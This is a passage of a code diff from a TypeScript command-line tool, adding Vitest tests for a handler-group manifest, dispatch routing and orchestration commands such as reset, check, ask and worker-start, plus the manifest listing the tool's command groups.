data: {
|
||||
effectsApplied: false,
|
||||
nextCommandArgs: ['skills', 'get', 'orchestration', '--full']
|
||||
}
|
||||
}
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
describe('formatWorktreeList', () => {
|
||||
|
||||
@@ -0,0 +1,121 @@
|
||||
import { readdirSync } from 'node:fs'
|
||||
import { join } from 'node:path'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
import { buildHandlerRoutes, dispatch, type HandlerContext } from './dispatch'
|
||||
import { HANDLER_GROUPS, type HandlerGroup } from './handler-group-manifest'
|
||||
|
||||
// Why: dispatch trusts the manifest's eager key lists to route without loading a
|
||||
// group. These tests are the only thing standing between that trust and a
|
||||
// silently unreachable command, so they load every group for real.
|
||||
|
||||
describe('handler group manifest', () => {
|
||||
it('lists a loadable group for every entry', async () => {
|
||||
for (const group of HANDLER_GROUPS) {
|
||||
const loaded = await group.load()
|
||||
expect(loaded, `${group.name} resolved to a non-record`).toBeTypeOf('object')
|
||||
}
|
||||
})
|
||||
|
||||
it('matches each group export key-for-key', async () => {
|
||||
const drift: string[] = []
|
||||
for (const group of HANDLER_GROUPS) {
|
||||
const actual = Object.keys(await group.load()).sort()
|
||||
const declared = [...group.keys].sort()
|
||||
if (JSON.stringify(actual) !== JSON.stringify(declared)) {
|
||||
drift.push(
|
||||
`${group.name}: manifest ${JSON.stringify(declared)} !== export ${JSON.stringify(actual)}`
|
||||
)
|
||||
}
|
||||
}
|
||||
expect(drift).toEqual([])
|
||||
})
|
||||
|
||||
it('exposes every declared key as a callable handler', async () => {
|
||||
const notCallable: string[] = []
|
||||
for (const group of HANDLER_GROUPS) {
|
||||
const loaded = await group.load()
|
||||
for (const key of group.keys) {
|
||||
if (typeof loaded[key] !== 'function') {
|
||||
notCallable.push(`${group.name}/${key}`)
|
||||
}
|
||||
}
|
||||
}
|
||||
expect(notCallable).toEqual([])
|
||||
})
|
||||
|
||||
it('reaches every group through dispatch routing', () => {
|
||||
const routes = buildHandlerRoutes(HANDLER_GROUPS)
|
||||
const reached = new Set([...routes.values()].map((group) => group.name))
|
||||
const unreachable = HANDLER_GROUPS.filter((group) => !reached.has(group.name)).map(
|
||||
(group) => group.name
|
||||
)
|
||||
expect(unreachable).toEqual([])
|
||||
})
|
||||
|
||||
// Why: dropping a group from the manifest silently unregisters its commands —
|
||||
// scan the directory so a new or forgotten handler file fails here, not in prod.
|
||||
it('registers every handler module that exports a handler group', async () => {
|
||||
// Why: __dirname works under both Vitest and the CommonJS tsc emit that
|
||||
// build:cli type-checks this file against; import.meta.dirname does not.
|
||||
const dir = join(__dirname, 'handlers')
|
||||
const modules = readdirSync(dir).filter(
|
||||
(file) => file.endsWith('.ts') && !file.endsWith('.test.ts')
|
||||
)
|
||||
const registered = new Set(HANDLER_GROUPS.map((group) => group.name))
|
||||
const missing: string[] = []
|
||||
for (const file of modules) {
|
||||
const name = file.slice(0, -'.ts'.length)
|
||||
const exports: Record<string, unknown> = await import(join(dir, file))
|
||||
const exportsGroup = Object.keys(exports).some((key) => key.endsWith('_HANDLERS'))
|
||||
if (exportsGroup && !registered.has(name)) {
|
||||
missing.push(name)
|
||||
}
|
||||
}
|
||||
expect(missing).toEqual([])
|
||||
})
|
||||
})
|
||||
|
||||
describe('duplicate command keys', () => {
|
||||
const group = (name: string, keys: string[]): HandlerGroup => ({
|
||||
name,
|
||||
keys,
|
||||
load: async () => ({})
|
||||
})
|
||||
|
||||
it('rejects the same key claimed by two groups', () => {
|
||||
expect(() =>
|
||||
buildHandlerRoutes([group('alpha', ['ship it']), group('beta', ['ship it'])])
|
||||
).toThrow('Duplicate CLI handler registration for "ship it" (alpha and beta)')
|
||||
})
|
||||
|
||||
it('rejects a key duplicated inside one group list', () => {
|
||||
expect(() => buildHandlerRoutes([group('alpha', ['ship it', 'ship it'])])).toThrow(
|
||||
'Duplicate CLI handler registration for "ship it"'
|
||||
)
|
||||
})
|
||||
|
||||
it('accepts distinct keys across groups', () => {
|
||||
const routes = buildHandlerRoutes([group('alpha', ['a']), group('beta', ['b'])])
|
||||
expect([...routes.keys()]).toEqual(['a', 'b'])
|
||||
})
|
||||
|
||||
it('holds for the live manifest', () => {
|
||||
expect(() => buildHandlerRoutes(HANDLER_GROUPS)).not.toThrow()
|
||||
})
|
||||
})
|
||||
|
||||
describe('dispatch errors', () => {
|
||||
const ctx = {
|
||||
flags: new Map(),
|
||||
cwd: '/tmp',
|
||||
json: false
|
||||
} as unknown as HandlerContext
|
||||
|
||||
it('reports an unknown command with the joined path', async () => {
|
||||
await expect(dispatch(['not', 'a', 'command'], ctx)).rejects.toMatchObject({
|
||||
code: 'invalid_argument',
|
||||
message: 'Unknown command: not a command'
|
||||
})
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,224 @@
|
||||
import type { CommandHandler } from './dispatch'
|
||||
import { BROWSER_HANDLER_GROUPS } from './browser-handler-groups'
|
||||
|
||||
export type HandlerGroup = {
|
||||
name: string
|
||||
// Why: eager string keys let dispatch build (and duplicate-check) the whole
|
||||
// command table without loading any group's transitive module graph.
|
||||
keys: readonly string[]
|
||||
load: () => Promise<Record<string, CommandHandler>>
|
||||
}
|
||||
|
||||
// Why: `keys` mirrors each group's exported record and is verified against the
|
||||
// real exports by handler-group-manifest.test.ts, so drift fails CI, not dispatch.
|
||||
export const HANDLER_GROUPS: readonly HandlerGroup[] = [
|
||||
{
|
||||
name: 'core',
|
||||
keys: ['claude-teams', 'open', 'serve', 'status'],
|
||||
load: async () => (await import('./handlers/core.js')).CORE_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'automations',
|
||||
keys: [
|
||||
'automations list',
|
||||
'automations show',
|
||||
'automations create',
|
||||
'automations edit',
|
||||
'automations remove',
|
||||
'automations run',
|
||||
'automations runs'
|
||||
],
|
||||
load: async () => (await import('./handlers/automations.js')).AUTOMATION_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'project',
|
||||
keys: [
|
||||
'project list',
|
||||
'project setups',
|
||||
'project setup-existing-folder',
|
||||
'project setup-clone',
|
||||
'project setup-create',
|
||||
'project setup-update',
|
||||
'project setup-delete'
|
||||
],
|
||||
load: async () => (await import('./handlers/project.js')).PROJECT_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'repo',
|
||||
keys: ['repo list', 'repo add', 'repo show', 'repo set-base-ref', 'repo search-refs'],
|
||||
load: async () => (await import('./handlers/repo.js')).REPO_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'worktree',
|
||||
keys: [
|
||||
'worktree ps',
|
||||
'worktree list',
|
||||
'worktree show',
|
||||
'worktree current',
|
||||
'worktree create',
|
||||
'worktree set',
|
||||
'worktree rm'
|
||||
],
|
||||
load: async () => (await import('./handlers/worktree.js')).WORKTREE_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'file',
|
||||
keys: ['file open', 'file diff', 'file open-changed'],
|
||||
load: async () => (await import('./handlers/file.js')).FILE_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'terminal',
|
||||
keys: [
|
||||
'terminal list',
|
||||
'terminal show',
|
||||
'terminal read',
|
||||
'terminal send',
|
||||
'terminal wait',
|
||||
'terminal stop',
|
||||
'terminal rename',
|
||||
'terminal create',
|
||||
'terminal switch',
|
||||
'terminal close',
|
||||
'terminal split'
|
||||
],
|
||||
load: async () => (await import('./handlers/terminal.js')).TERMINAL_HANDLERS
|
||||
},
|
||||
...BROWSER_HANDLER_GROUPS,
|
||||
{
|
||||
name: 'orchestration',
|
||||
keys: [
|
||||
'orchestration run-create',
|
||||
'orchestration run-use',
|
||||
'orchestration run-current',
|
||||
'orchestration run-list',
|
||||
'orchestration run-show',
|
||||
'orchestration send',
|
||||
'orchestration check',
|
||||
'orchestration reply',
|
||||
'orchestration inbox',
|
||||
'orchestration task-create',
|
||||
'orchestration task-list',
|
||||
'orchestration task-update',
|
||||
'orchestration worker-start',
|
||||
'orchestration worker-show',
|
||||
'orchestration worker-read',
|
||||
'orchestration worker-stop',
|
||||
'orchestration worker-abandon',
|
||||
'orchestration dispatch',
|
||||
'orchestration ask',
|
||||
'orchestration dispatch-show',
|
||||
'orchestration coordinator-start',
|
||||
'orchestration coordinator-stop',
|
||||
'orchestration gate-create',
|
||||
'orchestration gate-resolve',
|
||||
'orchestration gate-list',
|
||||
'orchestration reset'
|
||||
],
|
||||
load: async () => (await import('./handlers/orchestration.js')).ORCHESTRATION_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'emulator',
|
||||
keys: [
|
||||
'emulator list',
|
||||
'emulator devices',
|
||||
'emulator attach',
|
||||
'emulator tap',
|
||||
'emulator type',
|
||||
'emulator gesture',
|
||||
'emulator button',
|
||||
'emulator rotate',
|
||||
'emulator exec',
|
||||
'emulator kill',
|
||||
'emulator shutdown',
|
||||
'emulator install',
|
||||
'emulator launch',
|
||||
'emulator permissions',
|
||||
'emulator ax',
|
||||
'emulator logcat'
|
||||
],
|
||||
load: async () => (await import('./handlers/emulator.js')).EMULATOR_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'computer',
|
||||
keys: [
|
||||
'computer capabilities',
|
||||
'computer list-apps',
|
||||
'computer permissions',
|
||||
'computer list-windows',
|
||||
'computer get-app-state',
|
||||
'computer click',
|
||||
'computer perform-secondary-action',
|
||||
'computer scroll',
|
||||
'computer drag',
|
||||
'computer type-text',
|
||||
'computer press-key',
|
||||
'computer hotkey',
|
||||
'computer paste-text',
|
||||
'computer set-value'
|
||||
],
|
||||
load: async () => (await import('./handlers/computer.js')).COMPUTER_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'agent-hooks',
|
||||
keys: ['agent hooks status', 'agent hooks off', 'agent hooks on'],
|
||||
load: async () => (await import('./handlers/agent-hooks.js')).AGENT_HOOK_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'diagnostics',
|
||||
keys: ['diagnostics memory'],
|
||||
load: async () => (await import('./handlers/diagnostics.js')).DIAGNOSTICS_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'introspection',
|
||||
keys: ['agent-context'],
|
||||
load: async () => (await import('./handlers/introspection.js')).INTROSPECTION_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'environment',
|
||||
keys: ['environment add', 'environment list', 'environment show', 'environment rm'],
|
||||
load: async () => (await import('./handlers/environment.js')).ENVIRONMENT_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'linear',
|
||||
keys: [
|
||||
'linear save-issue',
|
||||
'linear list-issues',
|
||||
'linear relation add',
|
||||
'linear relation remove',
|
||||
'linear issue',
|
||||
'linear search',
|
||||
'linear team list',
|
||||
'linear team members',
|
||||
'linear team states',
|
||||
'linear team labels',
|
||||
'linear project list',
|
||||
'linear list',
|
||||
'linear status set',
|
||||
'linear assignee set',
|
||||
'linear assignee clear',
|
||||
'linear priority set',
|
||||
'linear priority clear',
|
||||
'linear estimate set',
|
||||
'linear estimate clear',
|
||||
'linear due-date set',
|
||||
'linear due-date clear',
|
||||
'linear label add',
|
||||
'linear label remove',
|
||||
'linear label set',
|
||||
'linear comment add',
|
||||
'linear attach',
|
||||
'linear create'
|
||||
],
|
||||
load: async () => (await import('./handlers/linear.js')).LINEAR_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'vm',
|
||||
keys: ['vm recipe doctor'],
|
||||
load: async () => (await import('./handlers/vm.js')).VM_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'skills',
|
||||
keys: ['skills list', 'skills get'],
|
||||
load: async () => (await import('./handlers/skills.js')).SKILL_HANDLERS
|
||||
}
|
||||
]
|
||||
@@ -30,7 +30,8 @@ it('prints a lifecycle rejection and exits unsuccessfully', async () => {
|
||||
['from', 'term_foreign'],
|
||||
['to', 'term_coord'],
|
||||
['subject', 'done'],
|
||||
['type', 'worker_done']
|
||||
['type', 'worker_done'],
|
||||
['outcome', 'succeeded']
|
||||
]),
|
||||
client: { call: callMock },
|
||||
cwd: '/tmp/repo',
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
import { describe, expect, it, vi } from 'vitest'
|
||||
import { ORCHESTRATION_HANDLERS } from './orchestration'
|
||||
|
||||
describe('orchestration CLI migration recovery', () => {
|
||||
it('redirects worker_done without an outcome before resolving or calling the runtime', async () => {
|
||||
const call = vi.fn()
|
||||
|
||||
await expect(
|
||||
ORCHESTRATION_HANDLERS['orchestration send']({
|
||||
flags: new Map<string, string | boolean>([
|
||||
['from', 'term_worker'],
|
||||
['subject', 'Done'],
|
||||
['type', 'worker_done']
|
||||
]),
|
||||
client: { call },
|
||||
cwd: '/tmp/repo',
|
||||
json: true
|
||||
} as never)
|
||||
).rejects.toMatchObject({
|
||||
code: 'invalid_argument',
|
||||
data: {
|
||||
effectsApplied: false,
|
||||
nextCommandArgs: ['skills', 'get', 'orchestration', '--full']
|
||||
}
|
||||
})
|
||||
expect(call).not.toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,160 @@
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
const callMock = vi.fn()
|
||||
const getTerminalHandleMock = vi.hoisted(() => vi.fn())
|
||||
|
||||
vi.mock('../format', () => ({ printResult: vi.fn() }))
|
||||
vi.mock('../selectors', () => ({ getTerminalHandle: getTerminalHandleMock }))
|
||||
|
||||
import { printResult } from '../format'
|
||||
import { ORCHESTRATION_HANDLERS } from './orchestration'
|
||||
|
||||
describe('lightweight Run CLI handlers', () => {
|
||||
beforeEach(() => {
|
||||
callMock.mockReset()
|
||||
getTerminalHandleMock.mockReset()
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_coord'
|
||||
})
|
||||
|
||||
it('creates a Run with the resolved coordinator terminal', async () => {
|
||||
callMock.mockResolvedValue({
|
||||
result: { run: { id: 'run_1', objective: 'Coordinate work', consumer_generation: 1 } }
|
||||
})
|
||||
await ORCHESTRATION_HANDLERS['orchestration run-create']({
|
||||
flags: new Map<string, string | boolean>([
|
||||
['objective', 'Coordinate work'],
|
||||
['json', true]
|
||||
]),
|
||||
client: { call: callMock },
|
||||
cwd: '/tmp/repo',
|
||||
json: true
|
||||
} as never)
|
||||
expect(callMock).toHaveBeenCalledWith('orchestration.runCreate', {
|
||||
objective: 'Coordinate work',
|
||||
from: 'term_coord'
|
||||
})
|
||||
})
|
||||
|
||||
it('reuses the same explicit binding path for run-use and run-current', async () => {
|
||||
callMock
|
||||
.mockResolvedValueOnce({ result: { run: { id: 'run_1', objective: 'Work' } } })
|
||||
.mockResolvedValueOnce({ result: { run: { id: 'run_1', objective: 'Work' } } })
|
||||
await ORCHESTRATION_HANDLERS['orchestration run-use']({
|
||||
flags: new Map([
|
||||
['id', 'run_1'],
|
||||
['from', 'term_coord']
|
||||
]),
|
||||
client: { call: callMock },
|
||||
cwd: '/tmp/repo',
|
||||
json: true
|
||||
} as never)
|
||||
await ORCHESTRATION_HANDLERS['orchestration run-current']({
|
||||
flags: new Map([['from', 'term_coord']]),
|
||||
client: { call: callMock },
|
||||
cwd: '/tmp/repo',
|
||||
json: true
|
||||
} as never)
|
||||
expect(callMock).toHaveBeenNthCalledWith(1, 'orchestration.runUse', {
|
||||
id: 'run_1',
|
||||
from: 'term_coord'
|
||||
})
|
||||
expect(callMock).toHaveBeenNthCalledWith(2, 'orchestration.runCurrent', {
|
||||
from: 'term_coord'
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
describe('orchestration reset CLI handler', () => {
|
||||
beforeEach(() => {
|
||||
callMock.mockReset().mockResolvedValue({ result: { reset: 'all' } })
|
||||
})
|
||||
const invoke = (flags: Map<string, string | boolean>) =>
|
||||
ORCHESTRATION_HANDLERS['orchestration reset']({
|
||||
flags,
|
||||
client: { call: callMock },
|
||||
json: true
|
||||
} as never)
|
||||
|
||||
it('rejects a bare reset before calling the runtime', async () => {
|
||||
await expect(invoke(new Map())).rejects.toMatchObject({
|
||||
code: 'invalid_argument',
|
||||
message: 'Choose exactly one reset scope: --all, --tasks, or --messages.'
|
||||
})
|
||||
expect(callMock).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('sends only the tasks scope for --tasks', async () => {
|
||||
await invoke(new Map([['tasks', true]]))
|
||||
expect(callMock).toHaveBeenCalledWith('orchestration.reset', {
|
||||
all: undefined,
|
||||
tasks: true,
|
||||
messages: undefined
|
||||
})
|
||||
})
|
||||
|
||||
it('sends only the all scope for --all', async () => {
|
||||
await invoke(new Map([['all', true]]))
|
||||
expect(callMock).toHaveBeenCalledWith('orchestration.reset', {
|
||||
all: true,
|
||||
tasks: undefined,
|
||||
messages: undefined
|
||||
})
|
||||
})
|
||||
|
||||
it.each([
|
||||
new Map<string, string | boolean>([
|
||||
['tasks', true],
|
||||
['messages', true]
|
||||
]),
|
||||
new Map<string, string | boolean>([
|
||||
['all', true],
|
||||
['tasks', true]
|
||||
])
|
||||
])('rejects multiple reset scopes before calling the runtime', async (flags) => {
|
||||
await expect(invoke(flags)).rejects.toMatchObject({ code: 'invalid_argument' })
|
||||
expect(callMock).not.toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
|
||||
describe('orchestration task-list brief output', () => {
|
||||
it('requests server-side brief and falls back client-side for older runtimes', async () => {
|
||||
callMock.mockReset().mockResolvedValue({
|
||||
result: {
|
||||
tasks: [{ id: 'task_1', spec: `First line\n${'detail '.repeat(40)}`, status: 'ready' }],
|
||||
count: 1
|
||||
}
|
||||
})
|
||||
vi.mocked(printResult).mockClear()
|
||||
await ORCHESTRATION_HANDLERS['orchestration task-list']({
|
||||
flags: new Map([['brief', true]]),
|
||||
client: { call: callMock },
|
||||
json: true
|
||||
} as never)
|
||||
expect(callMock).toHaveBeenCalledWith(
|
||||
'orchestration.taskList',
|
||||
expect.objectContaining({ brief: true })
|
||||
)
|
||||
const response = vi.mocked(printResult).mock.calls[0]?.[0] as {
|
||||
result: { tasks: { spec: string; spec_truncated: boolean }[] }
|
||||
}
|
||||
expect(response.result.tasks[0].spec).toHaveLength(160)
|
||||
expect(response.result.tasks[0].spec_truncated).toBe(true)
|
||||
})
|
||||
|
||||
it('passes server-abbreviated rows through untouched', async () => {
|
||||
const serverTasks = [
|
||||
{ id: 'task_1', spec: 'already brief…', status: 'ready', spec_truncated: true }
|
||||
]
|
||||
callMock.mockReset().mockResolvedValue({ result: { tasks: serverTasks, count: 1 } })
|
||||
vi.mocked(printResult).mockClear()
|
||||
await ORCHESTRATION_HANDLERS['orchestration task-list']({
|
||||
flags: new Map([['brief', true]]),
|
||||
client: { call: callMock },
|
||||
json: true
|
||||
} as never)
|
||||
const response = vi.mocked(printResult).mock.calls[0]?.[0] as {
|
||||
result: { tasks: { spec: string; spec_truncated: boolean }[] }
|
||||
}
|
||||
expect(response.result.tasks).toBe(serverTasks)
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,230 @@
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
const callMock = vi.fn()
|
||||
|
||||
vi.mock('../format', () => ({ printResult: vi.fn() }))
|
||||
vi.mock('../selectors', () => ({ getTerminalHandle: vi.fn() }))
|
||||
|
||||
import { printResult } from '../format'
|
||||
import { ORCHESTRATION_HANDLERS } from './orchestration'
|
||||
|
||||
describe('orchestration timeout flag validation', () => {
|
||||
const invalidTimeoutValues: [string, string | boolean][] = [
|
||||
['missing', true],
|
||||
['empty', ''],
|
||||
['non-numeric', 'not-a-number'],
|
||||
['zero', '0'],
|
||||
['negative', '-1']
|
||||
]
|
||||
|
||||
beforeEach(() => {
|
||||
callMock.mockReset()
|
||||
delete process.env.ORCA_TERMINAL_HANDLE
|
||||
delete process.env.ORCA_PANE_KEY
|
||||
})
|
||||
|
||||
const invokeCheck = (flags: Map<string, string | boolean>) =>
|
||||
ORCHESTRATION_HANDLERS['orchestration check']({
|
||||
flags,
|
||||
client: { call: callMock },
|
||||
cwd: '/tmp/repo',
|
||||
json: true
|
||||
} as never)
|
||||
|
||||
const invokeAsk = (flags: Map<string, string | boolean>) =>
|
||||
ORCHESTRATION_HANDLERS['orchestration ask']({
|
||||
flags,
|
||||
client: { call: callMock },
|
||||
cwd: '/tmp/repo',
|
||||
json: true
|
||||
} as never)
|
||||
|
||||
it.each(invalidTimeoutValues)('rejects invalid check --timeout-ms: %s', async (_label, value) => {
|
||||
await expect(
|
||||
invokeCheck(
|
||||
new Map<string, string | boolean>([
|
||||
['wait', true],
|
||||
['timeout-ms', value]
|
||||
])
|
||||
)
|
||||
).rejects.toThrow(/--timeout-ms/)
|
||||
expect(callMock).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('passes a parsed check timeout and peek mode into the RPC payload', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_worker'
|
||||
callMock.mockResolvedValue({ result: { messages: [], count: 0 } })
|
||||
await invokeCheck(
|
||||
new Map<string, string | boolean>([
|
||||
['wait', true],
|
||||
['peek', true],
|
||||
['timeout-ms', '250']
|
||||
])
|
||||
)
|
||||
// Why: unread:false makes pre-peek runtimes fall back to non-consuming all mode.
|
||||
expect(callMock).toHaveBeenCalledWith('orchestration.check', {
|
||||
terminal: 'term_worker',
|
||||
unread: false,
|
||||
peek: true,
|
||||
all: undefined,
|
||||
types: undefined,
|
||||
format: undefined,
|
||||
run: undefined,
|
||||
ack: undefined,
|
||||
wait: true,
|
||||
timeoutMs: 250
|
||||
})
|
||||
})
|
||||
|
||||
it('filters already-read rows from a peek response for pre-peek runtimes', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_worker'
|
||||
callMock.mockResolvedValue({
|
||||
result: {
|
||||
messages: [
|
||||
{ id: 'msg_old', from_handle: 'a', subject: 'seen', read: 1 },
|
||||
{ id: 'msg_new', from_handle: 'a', subject: 'fresh', read: 0 }
|
||||
],
|
||||
count: 2,
|
||||
formatted: 'banners built from all rows'
|
||||
}
|
||||
})
|
||||
vi.mocked(printResult).mockClear()
|
||||
await invokeCheck(new Map<string, string | boolean>([['peek', true]]))
|
||||
const response = vi.mocked(printResult).mock.calls[0]?.[0] as {
|
||||
result: { messages: { id: string }[]; count: number; formatted?: string }
|
||||
}
|
||||
expect(response.result.messages.map((message) => message.id)).toEqual(['msg_new'])
|
||||
expect(response.result.count).toBe(1)
|
||||
expect(response.result.formatted).toBeUndefined()
|
||||
})
|
||||
|
||||
it('rejects combined read modes before calling the runtime', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_worker'
|
||||
await expect(
|
||||
invokeCheck(
|
||||
new Map<string, string | boolean>([
|
||||
['unread', true],
|
||||
['peek', true]
|
||||
])
|
||||
)
|
||||
).rejects.toMatchObject({
|
||||
code: 'invalid_argument',
|
||||
message: expect.stringContaining('read mode')
|
||||
})
|
||||
expect(callMock).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('warns when a pre-peek runtime returned a full 100-row page', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_worker'
|
||||
const rows = Array.from({ length: 100 }, (_, index) => ({
|
||||
id: `msg_${index}`,
|
||||
from_handle: 'a',
|
||||
subject: `s${index}`,
|
||||
read: index === 0 ? 0 : 1
|
||||
}))
|
||||
callMock.mockResolvedValue({ result: { messages: rows, count: 100 } })
|
||||
const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {})
|
||||
await invokeCheck(new Map<string, string | boolean>([['peek', true]]))
|
||||
expect(errorSpy).toHaveBeenCalledWith(expect.stringContaining('newest 100 messages'))
|
||||
errorSpy.mockRestore()
|
||||
})
|
||||
|
||||
it('fails --peek --wait against a runtime that returned only read rows', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_worker'
|
||||
callMock.mockResolvedValue({
|
||||
result: {
|
||||
messages: [{ id: 'msg_old', from_handle: 'a', subject: 'seen', read: 1 }],
|
||||
count: 1
|
||||
}
|
||||
})
|
||||
await expect(
|
||||
invokeCheck(
|
||||
new Map<string, string | boolean>([
|
||||
['peek', true],
|
||||
['wait', true]
|
||||
])
|
||||
)
|
||||
).rejects.toMatchObject({ code: 'peek_wait_unsupported' })
|
||||
})
|
||||
|
||||
it.each(invalidTimeoutValues)('rejects invalid ask --timeout-ms: %s', async (_label, value) => {
|
||||
await expect(
|
||||
invokeAsk(
|
||||
new Map<string, string | boolean>([
|
||||
['to', 'term_coord'],
|
||||
['question', 'Proceed?'],
|
||||
['timeout-ms', value]
|
||||
])
|
||||
)
|
||||
).rejects.toThrow(/--timeout-ms/)
|
||||
expect(callMock).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('uses the parsed ask timeout for both runtime wait and client timeout', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_worker'
|
||||
callMock.mockResolvedValue({
|
||||
result: { answer: 'yes', messageId: 'msg_1', threadId: 'thread_1', timedOut: false }
|
||||
})
|
||||
vi.spyOn(console, 'log').mockImplementation(() => {})
|
||||
await invokeAsk(
|
||||
new Map<string, string | boolean>([
|
||||
['to', 'term_coord'],
|
||||
['question', 'Proceed?'],
|
||||
['timeout-ms', '123']
|
||||
])
|
||||
)
|
||||
expect(callMock).toHaveBeenCalledWith(
|
||||
'orchestration.ask',
|
||||
{
|
||||
to: 'term_coord',
|
||||
run: undefined,
|
||||
question: 'Proceed?',
|
||||
resume: undefined,
|
||||
options: undefined,
|
||||
timeoutMs: 123,
|
||||
from: 'term_worker'
|
||||
},
|
||||
{ timeoutMs: 5_123, orchestrationCapability: undefined }
|
||||
)
|
||||
})
|
||||
|
||||
it('passes an ask resume without creating a new question payload', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_worker'
|
||||
callMock.mockResolvedValue({
|
||||
result: {
|
||||
answer: 'yes',
|
||||
messageId: 'msg_question',
|
||||
threadId: 'msg_question',
|
||||
timedOut: false
|
||||
}
|
||||
})
|
||||
vi.spyOn(console, 'log').mockImplementation(() => {})
|
||||
await invokeAsk(new Map<string, string | boolean>([['resume', 'msg_question']]))
|
||||
expect(callMock).toHaveBeenCalledWith(
|
||||
'orchestration.ask',
|
||||
{
|
||||
to: undefined,
|
||||
run: undefined,
|
||||
question: undefined,
|
||||
resume: 'msg_question',
|
||||
options: undefined,
|
||||
timeoutMs: undefined,
|
||||
from: 'term_worker'
|
||||
},
|
||||
{ timeoutMs: 605_000, orchestrationCapability: undefined }
|
||||
)
|
||||
})
|
||||
|
||||
it('rejects ambiguous ask create/resume input before RPC', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_worker'
|
||||
await expect(
|
||||
invokeAsk(
|
||||
new Map<string, string | boolean>([
|
||||
['question', 'new'],
|
||||
['resume', 'msg_old']
|
||||
])
|
||||
)
|
||||
).rejects.toMatchObject({ code: 'invalid_argument' })
|
||||
expect(callMock).not.toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,161 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
const callMock = vi.fn()
|
||||
const originalExitCode = process.exitCode
|
||||
|
||||
vi.mock('../format', () => ({ printResult: vi.fn() }))
|
||||
vi.mock('../selectors', () => ({ getTerminalHandle: vi.fn() }))
|
||||
|
||||
import { ORCHESTRATION_HANDLERS } from './orchestration'
|
||||
|
||||
describe('orchestration worker-start CLI contract', () => {
|
||||
beforeEach(() => {
|
||||
callMock.mockReset()
|
||||
process.exitCode = undefined
|
||||
})
|
||||
|
||||
afterEach(() => {
|
||||
process.exitCode = originalExitCode
|
||||
})
|
||||
|
||||
const invokeWorkerStart = (flags: Map<string, string | boolean>) =>
|
||||
ORCHESTRATION_HANDLERS['orchestration worker-start']({
|
||||
flags,
|
||||
client: { call: callMock },
|
||||
cwd: '/tmp/repo',
|
||||
json: true
|
||||
} as never)
|
||||
|
||||
it('passes the complete supported creation contract and retry receipt', async () => {
|
||||
callMock.mockResolvedValue({
|
||||
result: {
|
||||
runId: 'run_1',
|
||||
taskId: 'task_1',
|
||||
dispatchId: 'ctx_1',
|
||||
state: 'ready',
|
||||
effects: [],
|
||||
residualResources: []
|
||||
}
|
||||
})
|
||||
|
||||
await invokeWorkerStart(
|
||||
new Map<string, string | boolean>([
|
||||
['task', 'task_1'],
|
||||
['on', 'windows'],
|
||||
['worktree', 'new-top-level'],
|
||||
['name', 'release-audit'],
|
||||
['repo', 'id:windows-repo'],
|
||||
['base-branch', 'origin/release'],
|
||||
['display-name', 'Release audit'],
|
||||
['comment', 'Supervised from the Mac Run home'],
|
||||
['setup', 'run'],
|
||||
['agent', 'codex'],
|
||||
['timeout-ms', '90000'],
|
||||
['run', 'run_1'],
|
||||
['from', 'term_coord'],
|
||||
['retry-request', 'request_1']
|
||||
])
|
||||
)
|
||||
|
||||
expect(callMock).toHaveBeenCalledWith(
|
||||
'orchestration.workerStart',
|
||||
{
|
||||
task: 'task_1',
|
||||
on: 'windows',
|
||||
worktree: 'new-top-level',
|
||||
name: 'release-audit',
|
||||
repo: 'id:windows-repo',
|
||||
baseBranch: 'origin/release',
|
||||
displayName: 'Release audit',
|
||||
comment: 'Supervised from the Mac Run home',
|
||||
setup: 'run',
|
||||
agent: 'codex',
|
||||
terminal: undefined,
|
||||
retryOf: undefined,
|
||||
timeoutMs: 90_000,
|
||||
run: 'run_1',
|
||||
from: 'term_coord',
|
||||
devMode: false
|
||||
},
|
||||
{ orchestrationRequestId: 'request_1' }
|
||||
)
|
||||
expect(process.exitCode).toBeUndefined()
|
||||
})
|
||||
|
||||
it('sets an unsuccessful exit code for failed and unknown receipts', async () => {
|
||||
callMock.mockResolvedValue({
|
||||
result: {
|
||||
taskId: 'task_1',
|
||||
dispatchId: 'ctx_1',
|
||||
state: 'outcome_unknown',
|
||||
effects: [],
|
||||
